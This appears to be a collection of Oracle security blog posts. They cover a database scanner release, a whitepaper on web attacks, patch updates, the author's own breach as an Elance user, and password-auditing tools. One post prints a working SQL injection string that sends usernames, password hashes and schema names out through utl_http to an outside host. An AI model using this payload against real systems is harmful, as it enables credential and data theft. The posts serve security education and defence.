The latest version 3.0 of our database scanner Repscan is now available. This new version supports MS SQL Server and Oracle databases. Repscan comes with a large amount of new features and a complete new GUI (First database scanner with Office-2007 UI).

Here some of the new features of Repscan 3.0:

• Support for MS SQL Server (2000, 2005, 2008)
• Extremely user-friendly database configuration wizard (screenshot)
• Flexible tree control (re-group databases by status, hierarchy, …) (screenshot)
• Database security browser with drill down functionality (PDF, XLS, … export) (screenshot, screenshot)
• New reports (performance, used_features, …)
• Data Discovery (SSN, PII, Creditcard, Passwords, …)
• Database Enumeration (custom, NMap support) (screenshot)
• Pentest Features (Guess SID, Check default username/password combinations, …)
• Exploit & Code Library (screenshot)
• Version and Patch Information
• Skins

Here some (old) features of Repscan:

• Password plugin architecture
• Password plugins for Oracle DES, SHA1, OID, APEX, OVS
• Commandline features
• PL/SQL Source Code Analysis Report

Here some statements of Repscan 3.0 users:

“Repscan Rocks”, “I must have this tool.”, “Very cool stuff”, “really like the clean interface… checks are great”, “…tend to be more Oracle security information hub than just scanner :-)”

Over the next  few weeks I will show here more details of some Repscan 3.0 features.

If you want to test Repscan 3.0 you can download it from our exclusive distributor Sentrigo

Sumit Siddarth (Sid) has just published a really good whitepaper about “Hacking Oracle from the Web“.This is the most comprehensive published collection of different techniques for attacking Oracle from the web. Sid spent a lot of time composing the different techniques mentioned in various presentations and whitepapers.

Sid describes various techniques like data extraction (inband techniques like union or error messages, out-of-band techniques like heavy queries, blind, …), privilege escalation (sys.kupp$proc, dbms_repcat_rpc and dbms_export_extension)  and OS code execution.

Well done Sid.

Today Eric Maurice from Oracle Global Product Security released an interesting article about “Ensuring Critical Patch Update Quality“. He explains the entire test process,  timeline (e.g. 15 weeks before the CPU is released the fixes will be selected), ….

This time I am writing this blog entry as a victim…

My data (including my creditcard number) was stolen from the website elance.com. 24 hours later my creditcard number as abused. Luckily the criminals did a test booking for approx. 1 USD (in a webshop in the US) and the fraud detection team from Mastercard immediately locked my creditcard.

Here the short history:

Last friday, 18 July 2009, I received an email from Elance.com:
We recently learned that certain Elance user information was accessed without authorization, including potentially yours. The data accessed was contact information — specifically name, email address, telephone number, city location and Elance login information (passwords were protected with encryption). This incident did NOT involve any credit card, bank account, social security or tax ID numbers.

We have remedied the cause of the breach and are working with appropriate authorities. We have also implemented additional security measures and have strengthened password requirements to protect all of our users.

We sincerely regret any inconvenience or disruption this may cause.

If you have any unanswered questions and for ongoing information about this matter, please visit this page in our Trust & Safety center: http://www.elance.com/p/trust/account_security.html

For information on re-setting your password, visit: http://help.elance.com/forums/30969/entries/47262

Thank you for your understanding,

Michael Culver
Vice President
Elance

I thought: “Good to know that this happened. My creditcard information is not affected.”
20. july - Monday morning:  I tried to buy some gasoline. This was not possible because my card was not accepted: “Errorcode 02” . I payed with a different card and called the lufthansa mastercard service. They explained me that someone tried to buy something for 1 USD in Arizona and Mastercard has locked my card…

I will get a new creditcard within the next few days.

20. july - Noon: At home I read the email from elance again and I was really pissed off (passwords encrypted and not hashed) that they lied in the previous email. Send an email to elance.com (ticket#20836) and asked for details of this break-in. No answer so far…

will be continued….

Yesterday night Oracle released the July 2009 CPU. This CPU contains 30 fixes for several Oracle products. 10 security issues are fixed in the Oracle Database Server.As always the usual suspects (Esteban, David, Joxean, Alexandr, Dennis) and a few others reported issues in Oracle products.

The 3 most critical bugs this time are related to the TNS Listener and one of the bugs be exploited without authentication.These issues CVE-2009-1020, CVE-2009-1019, CVE-2009-1963 are rated with CVSS 9 (for Windows), 7.5 for Unix.
Oracle has also fixed 3 of my findings in the database (3 out of 10 :-))

• SQL Injection in DBMS_EXPORT_EXTENSION (previously fixed in April 2006)
• Information Disclosure (Password Hash) in Database Vault
• Information Disclosure (Password Hash) in Audit Vault

More details will be published within the next few days. The updates for our Oracle database scanner Repscan (free trial available) will be released within the next 2 days.

I just uploaded the presentation “SQL Injection in Oracle Webapps” to our website. This presentation describes the basics of SQL, different exploitation techniques (inband, out-of-band, blind), how to search creditcard numbers in the database (using dbms_xmlgen), …Here is one of the sample SQL Injection strings from the presentation. With this  SQL Injection string we are getting all username/passwords, all table names, all column names and all privileges in one step. The trick is to use sum(length(utl_http())) in the SELECT clause.

http://victim.com/order.jsp?id=17‘ or 1=((select

sum(length(utl_http.request(’http://www.orasploit.com/’||

username||’='||password) from dba_users)))+((select

sum(utl_http.request(’http://www. orasploit.com/’||

owner||’='||table_name) from dba_tables))+((select

sum(length(utl_http.request(’http://www.orasploit.com/’||

owner||’='||table_name||’='||column_name)) from dba_users))

+((select sum(length(utl_http.request(’http://

Yesterday Bernardo Damele released sqlmap 0.7 rc1 for Linux. This new version of SQLMap was published at the Blackhat Europe and allows the execution of OS commands on SQL Server, MySQL and Postgres.

Oracle is not part of it but I am quite sure sooner or later the execution of Oracle commands will be supported as well…

The blackhat presentation “Advanced SQL injection to operating system full control” is also available for download.

I just uploaded 3 new Oracle security videos:

• Scan an Oracle database with Repscan 2.5 via GUI
• Scan an Oracle database with Repscan 2.5 via CLI
• Check Oracle passwords with Checkpwd 3.0 (with password plugins)
  

Trial version of Repscan available on the Sentrigo website.

2 weeks ago Oracle released the instant client 10.2.0.4 for Mac OS Intel. Yesterday I had the time to recompile checkpwd (checkpwd for other platforms) with the new instant client. The compilation worked flawless.

The performance of checkpwd with the native Oracle Mac client is 50% faster than the previous version for PPC.

Here are the links:

• Checkpwd 1.23  [Mac - Intel - native] - 37 MB - with Oracle instant client
• Checkpwd 1.23  [Mac - Intel - native] - 68 KB - without Oracle instant client
• Checkpwd 1.23  [Mac - Intel - native] - 68 KB - Passwords are not displayed

And here sidguess recompiled for Mac - Intel:

•  Sidguess 1.02  [Mac - Intel - native] - 16 KB -without Oracle instant client
